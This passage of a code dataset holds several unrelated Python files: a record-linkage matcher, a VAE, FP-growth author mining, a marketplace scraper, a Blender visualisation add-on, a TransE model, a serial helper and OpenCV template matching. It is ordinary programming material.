spamwriter.writerow([p[0],p[1],str(matches[p])])\n \n with open(fileOutName2, 'w', newline='') as csvfile:\n spamwriter = csv.writer(csvfile, delimiter=',')\n spamwriter.writerow(['EnterpriseID','LAST','FIRST','MIDDLE','SUFFIX','DOB','GENDER','SSN','ADDRESS1','ADDRESS2','ZIP','MOTHERS_MAIDEN_NAME','MRN','CITY','STATE','PHONE','PHONE2','EMAIL','ALIAS'])\n for p in sorted_matches:\n spamwriter.writerow(list(personDict['EnterpriseID'][p[0]]))\n spamwriter.writerow(list(personDict['EnterpriseID'][p[1]]))\n spamwriter.writerow([])\n \ndef main(fileLabelNum=None):\n\n# =============================================================================\n# Section 1: Loading the data from the file and organizing it into some structures\n# =============================================================================\n start = time.time()\n print (\"Version Number:\",version)\n #Define file locations and which set to use\n if fileLabelNum is None:\n fileLabelNum = 1\n #Full data set\n fileName1 = \"FinalDataset-1.csv\"\n #100,000/1,000,000 entries\n fileName2 = \"FinalDataset-1small.csv\"\n #10,000/1,000,000 entries\n fileName3 = \"FinalDataset-1smaller.csv\"\n fileList = [fileName1,fileName2,fileName3]\n \n \"\"\"\n Load in the filters\n badEntries : dictionary mapping a tag to a set of invalid options\n sameThing : dictionary that maps a tag to a dictionary that maps an entry\n to a different entry (used to correct typos)\n \"\"\"\n badEntries,sameThing = pkl.load(open('filters.p','rb'))\n\n \"\"\"\n Load the data and return two dictionaries. Each one has an entry for each tag (but the Phone2 tag is useless).\n personDict : maps each tag to a dictionary that maps each unique entry to a list of ID's with the same value\n valueCounter : maps each tag to a dictionary that maps each unique entry to a count for that entry\n Takes ~50 seconds\n \"\"\"\n personDict,valueCounter,personDict2 = loadData(fileList[fileLabelNum-1],badEntries,sameThing)\n print (time.time()-start,'seconds. Done loading data',flush=True)\n print (\"------------------\")\n print ()\n \n \"\"\"\n Shows the top n values for each of the fields. Set shouldReverse to True to\n get least popular hits\n \"\"\"\n hf.showTopHits(valueCounter,n=10,shouldReverse=False)\n \n# =============================================================================\n# Section 2: Finding Matches and saving found matches\n# =============================================================================\n\n\n #Output file names\n outputs1 = ['IDMatchTablev'+str(version)+'_1.csv','IDMatchTablev'+str(version)+'_2.csv','IDMatchTablev'+str(version)+'_3.csv']\n outputs2 = ['FullInfoMatchTablev'+str(version)+'_1.csv','FullInfoMatchTablev'+str(version)+'_2.csv','FullInfoMatchTablev'+str(version)+'_3.csv']\n \n \"\"\"\n Find matches and skeptical matches. A dictionary that maps a pair of IDs\n to a score. Save the matches.\n Takes ~1000 seconds\n \"\"\"\n matches,skepticalMatches = findMatches(personDict,personDict2)\n print (len(matches),\"potential matches found.\")\n print (len(skepticalMatches),\"very weak matches found.\")\n saveMatches(matches,personDict2,outputs1[0],outputs2[0])\n saveMatches(skepticalMatches,personDict2,outputs1[1],outputs2[1])\n \n print (time.time()-start,'seconds. Done with first set of matches.',flush=True)\n print (\"------------------\")\n print ()\n additionalMatches = findMatches2(personDict,matches,skepticalMatches,personDict2,s2=time.time())\n additionalMatches = findMatches3(personDict,matches,skepticalMatches,additionalMatches,personDict2)\n \n print (len(additionalMatches),\"additional matches found.\")\n matches.update(additionalMatches)\n print (\"Total number of matches:\",len(matches))\n print (\"Total number of skeptical matches:\",len(skepticalMatches))\n saveMatches(matches,personDict2,outputs1[1],outputs2[1])\n\n print (time.time()-start,'seconds. Done saving.')\n print (\"------------------\")\n print ()\n \n\n print (\"len(matches)+len(additionalMatches)\",len(matches)+len(additionalMatches))\n print (\"len(matches)+len(additionalMatches)+len(skepticalMatches)\",len(matches)+len(additionalMatches)+len(skepticalMatches))\n\n return badEntries,sameThing,personDict,valueCounter,personDict2,matches,skepticalMatches,additionalMatches\n\nif __name__==\"__main__\":\n# badEntries,sameThing,personDict,valueCounter,personDict2,matches,skepticalMatches,additionalMatches = main()\n pass","sub_path":"Scratchwork.py","file_name":"Scratchwork.py","file_ext":"py","file_size_in_byte":16028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"294227509","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_digits\nfrom scipy.misc import imresize\nimport os\n\n\ndef VAE(data):\n learning_rate = 0.0001\n num_epoch = 30000\n display_step = 1000\n num_input = data.shape[1]\n X = tf.placeholder(tf.float32, [None, num_input])\n\n def EncoderFtn(x):\n n_hidden = 500\n n_output = 50\n keep_prob = 0.9\n w0 = tf.contrib.layers.variance_scaling_initializer()\n b0 = tf.constant_initializer(0.)\n\n w1 = tf.get_variable('E_Layer1', [x.get_shape()[1], n_hidden], initializer=w0)\n b1 = tf.get_variable('E_bias1', [n_hidden], initializer=b0)\n h1 = tf.matmul(x, w1) + b1\n h1 = tf.nn.sigmoid(h1)\n\n w2 = tf.get_variable('E_Layer2', [h1.get_shape()[1], n_hidden], initializer=w0)\n b2 = tf.get_variable('E_bias2', [n_hidden], initializer=b0)\n h2 = tf.matmul(h1, w2) + b2\n h2 = tf.nn.sigmoid(h2)\n h2 = tf.nn.dropout(h2, keep_prob)\n\n OutputLayer = tf.get_variable('E_Output_Layer', [h2.get_shape()[1], n_output * 2], initializer=w0)\n bias = tf.get_variable('E_Output_bias', [n_output * 2], initializer=b0)\n gaussian_params = tf.matmul(h2, OutputLayer) + bias\n mean = gaussian_params[:, :n_output]\n stddev = 1e-6 + tf.nn.softplus(gaussian_params[:, n_output:])\n return mean, stddev\n\n def DecoderFtn(x):\n n_hidden = 500\n n_output = 64\n keep_prob = 1.0\n w0 = tf.contrib.layers.variance_scaling_initializer()\n b0 = tf.constant_initializer(0.)\n\n w1 = tf.get_variable('D_Layer1', [x.get_shape()[1], n_hidden], initializer=w0)\n b1 = tf.get_variable('D_bias1', [n_hidden], initializer=b0)\n h1 = tf.matmul(x, w1) + b1\n h1 = tf.nn.sigmoid(h1)\n h1 = tf.nn.dropout(h1, keep_prob)\n\n w2 = tf.get_variable('D_Layer2', [h1.get_shape()[1], n_hidden], initializer=w0)\n b2 = tf.get_variable('D_bias2', [n_hidden], initializer=b0)\n h2 = tf.matmul(h1, w2) + b2\n h2 = tf.nn.sigmoid(h2)\n h2 = tf.nn.dropout(h2, keep_prob)\n\n w3 = tf.get_variable('D_Layer3', [h2.get_shape()[1], n_hidden], initializer=w0)\n b3 = tf.get_variable('D_bias3', [n_hidden], initializer=b0)\n h3 = tf.matmul(h2, w3) + b3\n h3 = tf.nn.sigmoid(h3)\n h3 = tf.nn.dropout(h3, keep_prob)\n\n wo = tf.get_variable('D_Output_Layer', [h3.get_shape()[1], n_output], initializer=w0)\n bo = tf.get_variable('D_Output_bias', [n_output], initializer=b0)\n y = tf.sigmoid(tf.matmul(h3, wo) + bo)\n return y\n\n mu, sigma = EncoderFtn(X)\n encode_x = mu + sigma * tf.random_normal(tf.shape(mu), 0, 1, dtype=tf.float32)\n decode_x = DecoderFtn(encode_x)\n X_hat = tf.clip_by_value(decode_x, 1e-8, 1 - 1e-8)\n\n y_true = X\n y_pred = X_hat\n\n loss = tf.reduce_mean(tf.pow(y_true - y_pred, 2))\n optimizer = tf.train.AdamOptimizer(learning_rate).minimize(loss)\n\n saver = tf.train.Saver()\n with tf.Session() as sess:\n if os.path.exists(\"vae_model.meta\"):\n print(\"Load Model\")\n _ = tf.train.import_meta_graph('./vae_model.meta')\n saver.restore(sess, tf.train.latest_checkpoint('./'))\n recon = sess.run(y_pred, feed_dict={X: data})\n else:\n print('Create Model')\n sess.run(tf.global_variables_initializer())\n for epoch in range(1, num_epoch + 1):\n _, l = sess.run([optimizer, loss], feed_dict={X: data})\n if epoch % display_step == 0 or epoch == 1:\n print('Epoch %i, Loss: %f' % (epoch, l))\n recon = sess.run(y_pred, feed_dict={X: data})\n saver.save(sess, \"./vae_model\")\n return recon\n\ndigits = load_digits()\ndata = digits.data\nimg_shape = (8, 8)\nn_sample, n_feature = data.shape\nnew_data = []\nfor i in range(n_sample):\n new_data0 = imresize(data[i, :].reshape(img_shape), img_shape)\n new_data.append(new_data0.reshape(1, 64))\n\nnew_data = np.array(new_data)\nnew_data = new_data.reshape((n_sample, 64))\nnew_data = new_data/np.float32(256)\n\nrecon = VAE(new_data)\n\nplt.figure(figsize=(8, 12))\nfor i in range(5):\n plt.subplot(5, 2, 2*i + 1)\n plt.imshow(new_data[i].reshape(8, 8), vmin=0, vmax=1, cmap=\"gray\")\n plt.title(\"Test input\")\n plt.colorbar()\n plt.subplot(5, 2, 2*i + 2)\n plt.imshow(recon[i].reshape(8, 8), vmin=0, vmax=1, cmap=\"gray\")\n plt.title(\"Reconstruction\")\n plt.colorbar()\nplt.tight_layout()\nplt.show()","sub_path":"ML.VAE/HW1.py","file_name":"HW1.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"670544","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nfrom mlxtend.preprocessing import TransactionEncoder\nfrom mlxtend.frequent_patterns import fpgrowth\n\n\n# In[2]:\n\n\n# The closed Frequent Patterns of authors would be mined by FP growth algorithm in mlxtend lib + closed pattern definition\npath = 'E:/CS_Master_Degree_UIUC/CS410_Text_Information_system/Project/Project Submission/CourseProject/Dataset/'\ndblp2000 = pd.read_csv(path + \"DBLP2000.csv\")\ndblp2000[\"author\"] = dblp2000.apply(lambda x: x[\"author\"].split(\", \"), axis = 1) # turn to list of authors for each transaction\ndblp2000.head()\n\n\n# In[3]:\n\n\ndblp2000['author'].iloc[2]\n\n\n# In[4]:\n\n\n# Applied FPgrowth algorithm in MLXend to find frequent patterns given threshold support\ndataset = list(dblp2000[\"author\"])\nte = TransactionEncoder()\nte_ary = te.fit(dataset).transform(dataset)\ndf = pd.DataFrame(te_ary, columns=te.columns_)\nthresh = 4/df.shape[0] # used 4 instead of 10 supports as threshold due to smaller dataset\nfreq_df = fpgrowth(df, min_support=thresh, use_colnames=True)\n\n\n# In[5]:\n\n\nfreq_df\n\n\n# #### Find closed frequent itemset using frequent itemset \n\n# In[6]:\n\n\nsu = freq_df.support.unique() #all unique support count\n#Dictionay storing itemset with same support count key\nfredic = {}\nfor i in range(len(su)):\n inset = freq_df.loc[freq_df.support ==su[i]]['itemsets'].apply(lambda x: list(x)).to_list()\n fredic[su[i]] = inset\n\n\n# In[7]:\n\n\ncl = []\nfor index, row in freq_df.iterrows():\n isclose = True\n cli = [x for x in row['itemsets']]\n cls = row['support']\n checkset = fredic[cls]\n \n for i in checkset:\n if (cli!=i):\n if (all(x in i for x in cli)): \n print(cli, i)\n isclose = False\n break\n \n if(isclose):\n cl.append(cli) \n\n\n# In[9]:\n\n\ncloseFP_authors = [\", \".join(list(x)) for x in cl]\nauthorsFP2000 = pd.DataFrame(columns = [\"author\"])\nauthorsFP2000[\"author\"] = closeFP_authors\nauthorsFP2000\n\n\n# ### It would be helpful to add transaction index to the author patterns\n\n# In[10]:\n\n\ntransaction_index = []\nfor author in authorsFP2000['author']:\n \n ind = dblp2000['author'].apply(lambda a_list: author in a_list )\n \n transaction_index.append(dblp2000.loc[ind].index.tolist())\n\n\n# In[11]:\n\n\nauthorsFP2000['transaction_index'] = transaction_index\n\n\n# In[12]:\n\n\nauthorsFP2000\n\n\n# In[ ]:\n\n\noutput_path = path\nauthorsFP2000.to_csv(output_path+\"authorsFP2000_with_index.csv\", index = False)\n\n","sub_path":"PythonCodes/2. ContextModeling/Author_FP_mining.py","file_name":"Author_FP_mining.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"96880952","text":"#!/usr/bin/env python3\nimport bs4 as bs\nimport re\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError\nfrom urllib.error import URLError\n\ndef parser_avito():\n \"\"\" Функция парсинга Авито раздел компьютеры с ценами и их заголовками\"\"\"\n try:\n page = urlopen('https://www.avito.ru/sankt-peterburg/nastolnye_kompyutery?s_trg=3')\n except HTTPError as e:\n print(\"The server returned an HTTP error\")\n except URLError as e:\n print(\"The server could not be found!\")\n else:\n soup = bs.BeautifulSoup(page.read(), 'html.parser')\n p3=soup.find_all('span', {'class':{'price'}})\n p4=soup.select('.item-description-title-link')\n list1 = []\n list2 = []\n for headsum in range (0, len(p3)):\n list1.append(soup.find_all('span', {'class':{'price'}})[headsum].text)\n for headsum in range (0, len(p4)):\n list2.append(soup.select('.item-description-title-link')[headsum].text)\n #list3.append(list1,list2)\n for x in list1:\n #a = re.findall(r'[0-9]',x)\n print(x)\n\nparser_avito() \n\"\"\"\n name_price = []\n for x in range(50):\n name_price.append([])\n for y in range(1):\n name_price[x].append(p3[x])\n name_price[x].append(p4[x])\nprint(name_price)\n\"\"\" \n ","sub_path":"avito.py","file_name":"avito.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"440920736","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n\nimport bpy, blf, colorsys, bgl, math, mathutils\nfrom bpy_extras import image_utils\nfrom . import livi_export\n\nclass LiVi_d(livi_export.LiVi_e):\n def __init__(self):\n self.scene = bpy.context.scene\n self.clearscened()\n self.rad_display()\n self.rp_display = True\n \n def rad_display(self):\n if len(bpy.app.handlers.frame_change_pre) == 0:\n bpy.app.handlers.frame_change_pre.append(livi_export.cyfc1)\n o = 0\n self.obcalclist = []\n self.obreslist = []\n \n for geo in self.scene.objects:\n if geo.type == \"MESH\" and geo.livi_calc == 1:\n geo.select = True\n if geo.mode != 'OBJECT':\n bpy.ops.object.mode_set(mode = 'OBJECT')\n bpy.ops.object.select_all(action = 'DESELECT')\n self.obcalclist.append(geo)\n o += 1\n\n for frame in range(0, self.scene.frame_end + 1):\n self.scene.frame_set(frame)\n for obcalc in self.obcalclist: \n for vc in obcalc.data.vertex_colors:\n if frame == int(vc.name):\n vc.active = 1\n vc.active_render = 1 \n else:\n vc.active = 0\n vc.active_render = 0\n vc.keyframe_insert(\"active\")\n vc.keyframe_insert(\"active_render\")\n \n self.scene.frame_set(0)\n bpy.ops.object.select_all(action = 'DESELECT')\n self.scene.objects.active = None\n \n if self.scene.livi_disp_3d == 1:\n resvertco = []\n fextrude = []\n for i, geo in enumerate(self.scene.objects):\n if geo.type == 'MESH' and geo.livi_calc == 1:\n self.scene.objects.active = None\n bpy.ops.object.select_all(action = 'DESELECT')\n self.scene.objects.active = geo\n geo.select = True\n bpy.ops.object.mode_set(mode = 'EDIT')\n bpy.context.tool_settings.mesh_select_mode = [False, False, True]\n bpy.ops.mesh.select_all(action = 'DESELECT')\n bpy.ops.object.mode_set(mode = 'OBJECT')\n \n for cf in geo[\"cfaces\"]:\n geo.data.polygons[int(cf)].select = True\n\n bpy.ops.object.mode_set(mode = 'EDIT') \n bpy.ops.mesh.duplicate()\n bpy.ops.mesh.separate()\n bpy.ops.object.mode_set(mode = 'OBJECT')\n self.scene.objects[0].name = geo.name+\"res\"\n self.obreslist.append(self.scene.objects[0])\n self.scene.objects[0].livi_res = 1\n bpy.ops.object.select_all(action = 'DESELECT')\n self.scene.objects.active = None\n\n for obres in self.obreslist: \n self.scene.objects.active = obres\n obres.select = True\n fextrude = []\n resvertco = []\n bpy.ops.object.shape_key_add(from_mix = False)\n for frame in range(0, self.scene.frame_end + 1):\n bpy.ops.object.shape_key_add(from_mix = False)\n obres.active_shape_key.name = str(frame)\n \n if self.scene['cp'] == 0:\n if frame == 0:\n if len(obres.data.polygons) > 1:\n bpy.ops.object.mode_set(mode = 'EDIT')\n bpy.ops.mesh.select_all(action = 'SELECT')\n bpy.ops.mesh.extrude_faces_move()\n bpy.ops.object.mode_set(mode = 'OBJECT')\n bpy.ops.object.select_all(action = 'DESELECT')\n for face in obres.data.polygons:\n if face.select == True:\n fextrude.append(face)\n for vert in obres.data.vertices:\n resvertco.append((vert.co, vert.normal))\n for fex in fextrude:\n for vert in fex.vertices:\n j = [j for j,x in enumerate(obres.data.loops) if vert == x.vertex_index][0]\n obres.active_shape_key.data[vert].co = resvertco[vert][0] + 0.1*resvertco[vert][1]*float(self.scene.livi_disp_3dlevel)*(0.75-colorsys.rgb_to_hsv(obres.data.vertex_colors[str(frame)].data[j].color[0], obres.data.vertex_colors[str(frame)].data[j].color[1], obres.data.vertex_colors[str(frame)].data[j].color[2])[0])\n\n elif self.scene['cp'] == 1:\n for vert in obres.data.vertices:\n j = [j for j,x in enumerate(obres.data.loops) if vert.index == x.vertex_index][0]\n obres.active_shape_key.data[vert.index].co = obres.active_shape_key.data[vert.index].co + 0.1*float(self.scene.livi_disp_3dlevel)*(0.75-colorsys.rgb_to_hsv(obres.data.vertex_colors[str(frame)].data[j].color[0], obres.data.vertex_colors[str(frame)].data[j].color[1], obres.data.vertex_colors[str(frame)].data[j].color[2])[0])*(vert.normal)\n\n for frame in range(0, self.scene.frame_end + 1):\n self.scene.frame_set(frame)\n for obres in self.obreslist: \n if self.scene.livi_disp_3d == 1:\n for shape in obres.data.shape_keys.key_blocks:\n if \"Basis\" not in shape.name:\n if int(shape.name) == frame:\n shape.value = 1\n shape.keyframe_insert(\"value\")\n else:\n shape.value = 0\n shape.keyframe_insert(\"value\")\n \n for vc in obres.data.vertex_colors:\n if frame == int(vc.name):\n vc.active = 1\n vc.active_render = 1\n vc.keyframe_insert(\"active\")\n vc.keyframe_insert(\"active_render\")\n else:\n vc.active = 0\n vc.active_render = 0\n vc.keyframe_insert(\"active\")\n vc.keyframe_insert(\"active_render\") \n bpy.ops.wm.save_mainfile(check_existing = False) \n rendview(1) \n \ndef respoint_visualiser(self, context, ld):\n if context.mode != \"OBJECT\" or context.scene.livi_display_respoints == False or (context.active_object not in (ld.obreslist+ld.obcalclist) and context.scene.livi_display_sel_only == True) \\\n or ld.rp_display != True or context.scene.frame_current not in range(context.scene.frame_start, context.scene.frame_end + 1) and context.scene.livi_display_panel == 0:\n return\n\n region = context.region\n mid_x = region.width / 2\n mid_y = region.height / 2\n width = region.width\n height = region.height\n fn = context.scene.frame_current\n \n if context.scene.livi_display_sel_only == False:\n obd = ld.obreslist if context.scene.livi_disp_3d == True else ld.obcalclist\n else:\n obd = [context.active_object]\n \n for ob in obd:\n faces = [f for f in ob.data.polygons if f.select == True] if context.scene.livi_disp_3d == True else [f for f in ob.data.polygons]\n vdone = []\n obm = ob.data\n view_mat = context.space_data.region_3d.perspective_matrix\n ob_mat = ob.matrix_world\n total_mat = view_mat * ob_mat\n blf.size(0, context.scene.livi_display_rp_fs, 72)\n \n def draw_index(r, g, b, index, center):\n vec = total_mat * center \n vec = mathutils.Vector((vec[0] / vec[3], vec[1] / vec[3], vec[2] / vec[3]))\n x = int(mid_x + vec[0] * width / 2)\n y = int(mid_y + vec[1] * height / 2)\n bgl.glColor3f(r, g, b)\n blf.position(0, x, y, 0)\n if x > 100 or y < height - 530:\n blf.draw(0, str(index))\n \n scene = context.scene\n \n for f in faces:\n if scene.livi_export_calc_points == \"0\":\n vsum = mathutils.Vector((0, 0, 0))\n for v in f.vertices:\n vsum = ob.active_shape_key.data[v].co + vsum if context.scene.livi_disp_3d == True else ob.data.vertices[v].co + vsum\n fc = vsum/len(f.vertices)\n if not f.hide and f.select:\n loop_index = f.loop_indices[0]\n if len(set(obm.vertex_colors[fn].data[loop_index].color[:])) > 1:\n draw_index(0.0, 0.0, 0.0, int(scene[\"resmin\"][fn] + (1 - (1.333333*colorsys.rgb_to_hsv(obm.vertex_colors[fn].data[loop_index].color[0]/255, obm.vertex_colors[fn].data[loop_index].color[1]/255, obm.vertex_colors[fn].data[loop_index].color[2]/255)[0]))*(scene[\"resmax\"][fn] - scene[\"resmin\"][fn])), fc.to_4d())\n \n elif scene.livi_export_calc_points == \"1\":\n for loop_index in f.loop_indices:\n v = obm.loops[loop_index].vertex_index\n vpos = ob.active_shape_key.data[v].co if context.scene.livi_disp_3d == True else obm.vertices[v].co\n if v not in vdone:\n vdone.append(v)\n if len(set(obm.vertex_colors[fn].data[loop_index].color[:])) > 1:\n draw_index(0.0, 0.0, 0.0, int((1 - (1.333333*colorsys.rgb_to_hsv(obm.vertex_colors[fn].data[loop_index].color[0]/255, obm.vertex_colors[fn].data[loop_index].color[1]/255, obm.vertex_colors[fn].data[loop_index].color[2]/255)[0]))*scene[\"resmax\"][fn]), vpos.to_4d())\n\ndef rad_3D_legend(self, context):\n if \"resmax\" in context.scene:\n height = context.region.height\n lenres = len(\"{:.0f}\".format(max(context.scene['resmax'])))\n font_id = 0 \n bgl.glEnable(bgl.GL_BLEND)\n bgl.glColor4f(1.0, 1.0, 1.0, 0.7)\n bgl.glLineWidth(2)\n bgl.glBegin(bgl.GL_POLYGON) \n bgl.glVertex2i(20, height - 520)\n bgl.glVertex2i(70 + lenres*8, height - 520)\n bgl.glVertex2i(70 + lenres*8, height - 40)\n bgl.glVertex2i(20, height - 40)\n bgl.glEnd()\n bgl.glColor4f(0.0, 0.0, 0.0, 0.7)\n bgl.glLineWidth(2)\n bgl.glBegin(bgl.GL_LINE_LOOP)\n bgl.glVertex2i(19, height - 520)\n bgl.glVertex2i(70 + lenres*8, height - 520)\n bgl.glVertex2i(70 + lenres*8, height - 40)\n bgl.glVertex2i(19, height - 40)\n bgl.glEnd()\n \n for i in range(20):\n h = 0.75 - 0.75*(i/19)\n bgl.glColor4f(colorsys.hsv_to_rgb(h, 1.0, 1.0)[0], colorsys.hsv_to_rgb(h, 1.0, 1.0)[1], colorsys.hsv_to_rgb(h, 1.0, 1.0)[2], 1.0)\n bgl.glBegin(bgl.GL_POLYGON) \n bgl.glVertex2i(20, (i*20)+height - 460)\n bgl.glVertex2i(60, (i*20)+height - 460)\n bgl.glVertex2i(60, (i*20)+height - 440)\n bgl.glVertex2i(20, (i*20)+height - 440)\n bgl.glEnd()\n singlelenres = int(math.log10(math.floor(min(context.scene['resmin'])+i*(max(context.scene['resmax'])-min(context.scene['resmin']))/19)+1))\n blf.position(font_id, 65, (i*20)+height - 455, 0)\n blf.size(font_id, 20, 48)\n bgl.glColor4f(0.0, 0.0, 0.0, 1.0)\n if context.scene['metric'] == 2:\n blf.draw(font_id, \" \"*(lenres - singlelenres - 2) + str(round(min(context.scene['resmin'])+i*(max(context.scene['resmax'])-min(context.scene['resmin']))/19, 1)+1))\n else:\n blf.draw(font_id, \" \"*(lenres - singlelenres - 1) + str(int(min(context.scene['resmin'])+i*(max(context.scene['resmax'])-min(context.scene['resmin']))/19)+1)) \n \n blf.position(font_id, 25, height - 57, 0)\n blf.size(font_id, 20, 56)\n bgl.glColor4f(0.0, 0.0, 0.0, 1.0)\n blf.draw(font_id, context.scene['unit'])\n bgl.glLineWidth(1)\n bgl.glDisable(bgl.GL_BLEND)\n bgl.glColor4f(0.0, 0.0, 0.0, 1.0) \n \ndef res_stat(self, context):\n if \"resav\" in context.scene:\n height = context.region.height\n font_id = 0\n if context.scene.frame_current in range(context.scene.frame_start, context.scene.frame_end + 1):\n bgl.glColor4f(0.0, 0.0, 0.0, 0.8)\n blf.position(font_id, 22, height - 480, 0)\n blf.size(font_id, 20, 48)\n blf.draw(font_id, \"Ave: {:.1f}\".format(context.scene['resav'][context.scene.frame_current]))\n blf.position(font_id, 22, height - 495, 0)\n blf.draw(font_id, \"Max: {:.1f}\".format(context.scene['resmax'][context.scene.frame_current]))\n blf.position(font_id, 22, height - 510, 0)\n blf.draw(font_id, \"Min: {:.1f}\".format(context.scene['resmin'][context.scene.frame_current]))\n\ndef rendview(i):\n for scrn in bpy.data.screens:\n if scrn.name == 'Default':\n bpy.context.window.screen = scrn\n for area in scrn.areas:\n if area.type == 'VIEW_3D':\n for space in area.spaces:\n if space.type == 'VIEW_3D':\n space.viewport_shade = 'SOLID'\n if i == 1:\n space.show_only_render = 1\n space.show_textured_solid = 1\n else:\n space.show_only_render = 0\n space.show_textured_solid = 0","sub_path":"livi_display.py","file_name":"livi_display.py","file_ext":"py","file_size_in_byte":14692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"329837599","text":"archive = {1: False, 89: True}\n\ndef loop(num, prev=[]):\n\tif num in archive:\n\t\tfor i in prev:\n\t\t\tarchive[i] = archive[num]\n\t\treturn archive[num]\n\telse:\n\t\tnew = sum([eval(i)**2 for i in list(repr(num))])\n\t\treturn loop(new, prev+[num])\n\ncount = 0\n\nfor i in range(2, 10000000):\n\tif loop(i):\n\t\tcount += 1\n\t\tprint('Number {} arrives at 89.'.format(i))\n\nprint(count)","sub_path":"resource/code-samples/project-euler/0813P92.py","file_name":"0813P92.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319065495","text":"from embedKB.models.base import GeneralFramework\nimport tensorflow as tf\nfrom embedKB.utils import debug\nfrom embedKB.utils import tensorutils\n\nclass TransE(GeneralFramework):\n name = 'TransE'\n def __init__(self,\n n_entities,\n embed_dim,\n n_relationships,\n relationship_embed_initalizer=None,\n entity_embed_initializer=None):\n \"\"\"\n TransE model from\n Bordes, Antoine, et al. \"Translating embeddings for modeling multi-relational data.\" \n Advances in neural information processing systems. 2013.\n https://papers.nips.cc/paper/5071-translating-embeddings-for-modeling-multi-relational-data.pdf\n \"\"\"\n # Initialize relationship embedding\n with tf.variable_scope('TransE'):\n with tf.variable_scope('relationship'):\n self.W_relationship_embedding = tf.get_variable('embedding_matrix',\n shape=(n_relationships, embed_dim),\n initializer=relationship_embed_initalizer)\n self.W_bilinear_relationship = tf.reshape(\n tf.tile(tf.eye(embed_dim),\n [n_relationships, 1]),\n [n_relationships, embed_dim, embed_dim], name='identity')\n \n self.relationship_embed_dim = embed_dim\n self.n_relationships = n_relationships\n # Initialize entity embedding\n super().__init__(n_entities,\n embed_dim,\n entity_embed_initializer=entity_embed_initializer)\n\n def _scoring_function(self, embedded_head, relationship, embedded_tail):\n with tf.variable_scope('relationship'):\n relationship_vectors = tf.nn.embedding_lookup(self.W_relationship_embedding,\n relationship)\n relationship_matrices = tf.nn.embedding_lookup(self.W_bilinear_relationship,\n relationship)\n\n with tf.name_scope('scoringfunction'):\n print(tensorutils.int_shapes(relationship_vectors))\n linear_part = 2 * self.g_linear(embedded_head,\n relationship_vectors,\n -1.0 * relationship_vectors,\n embedded_tail)\n bilinear_part = -2 * self.g_bilinear(embedded_head, relationship_matrices, embedded_tail)\n norm = tf.square(tf.norm(relationship_vectors, ord='euclidean', axis=2))\n return linear_part + bilinear_part + norm\n","sub_path":"embedKB-master/embedKB/models/transe.py","file_name":"transe.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"541202925","text":"import serial\nimport time\n\n\nclass LegoSerial:\n def __init__(self, port_name):\n self.ser = serial.Serial()\n self.ser.baudrate = 115200\n self.ser.port = port_name\n self.ser.timeout = 1\n\n def open_serial(self):\n try:\n self.ser.open()\n except (OSError, serial.SerialException):\n pass\n\n def close_serial(self):\n self.ser.close()\n\n def send_data(self, data, simulating=False):\n\n if not self.ser.is_open and not simulating:\n return\n\n data_str = ''\n for byte in data:\n data_str = data_str + chr(byte)\n\n if not simulating:\n self.ser.write(data_str.encode('latin_1'))\n else:\n print('Data length is: ' + str(len(data_str)))\n print(data_str)\n\n def get_response(self, data, send_delay=0, timeout=0.15):\n \"\"\"Sends data and waits a little while for a response. Then encodes to an int array\"\"\"\n\n time.sleep(send_delay)\n\n if not self.ser.is_open:\n return\n\n self.ser.read(self.ser.inWaiting()) # Clear out what is currently waiting.\n\n self.send_data(data)\n time.sleep(timeout) # The microcontroller should reply within 10 ms. 150 ms is plenty of time.\n\n in_data = self.ser.read(self.ser.inWaiting())\n values = []\n\n for char in in_data:\n values.append(char)\n\n return values\n","sub_path":"Legendary-Overlord-2 Client/lego_serial.py","file_name":"lego_serial.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"81840299","text":"import cv2\nimport numpy as np\n\n\nimage = cv2.imread(\"images/Corazones/cinco.png\")\nimage_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ntemplate1 = cv2.imread(\"images/Corazones/corazon.png\", 0)\ndef puntosTemplate(image, template):\n points = []\n threshold = 0.85\n\n res = cv2.matchTemplate(image, template, cv2.TM_CCOEFF_NORMED)\n candidates = np.where(res >= threshold)\n candidates = np.column_stack([candidates[1], candidates[0]])\n\n i = 0\n while len(candidates) > 0:\n if i == 0: points.append(candidates[0])\n else:\n to_delete = []\n for j in range(0, len(candidates)):\n diff = points[i-1] - candidates[j]\n if abs(diff[0]) < 10 and abs(diff[1]) < 10:\n to_delete.append(j)\n candidates = np.delete(candidates, to_delete, axis=0)\n if len(candidates) == 0: break\n points.append(candidates[0])\n i += 1\n return points\n\npoints1 = puntosTemplate(image_gray, template1)\ntemplate2 = cv2.flip(template1, -1)\npoints2 = puntosTemplate(image_gray, template2)\n\npoints= np.concatenate((points1, points2)) if (\n len(points1) > 0 and len(points2) 